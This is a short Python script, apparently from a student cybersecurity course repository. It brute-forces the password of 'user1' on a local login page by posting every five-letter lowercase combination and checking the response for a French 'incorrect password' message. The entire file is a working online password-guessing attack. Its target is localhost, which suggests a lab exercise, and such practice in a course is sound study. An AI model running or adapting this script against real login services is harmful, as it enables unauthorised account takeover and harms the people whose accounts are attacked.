Files
ArtStudies/M2/Cybersecurity/bruteforce.py

32 lines
806 B
Python

import itertools
import string
import requests
def bruteforce_user1() -> str | None:
"""Brute-force pour trouver le mot de passe de user1."""
url = "http://127.0.0.1:5000/login"
alphabet = string.ascii_lowercase
for combination in itertools.product(alphabet, repeat=5):
password_attempt = "".join(combination)
payload = {"username": "user1", "password": password_attempt, "level": "1"}
try:
response = requests.post(url, data=payload, timeout=2)
if "Mot de passe incorrect" not in response.text:
print(f"Succès : {password_attempt}")
return password_attempt
except requests.exceptions.RequestException:
continue
return None
if __name__ == "__main__":
bruteforce_user1()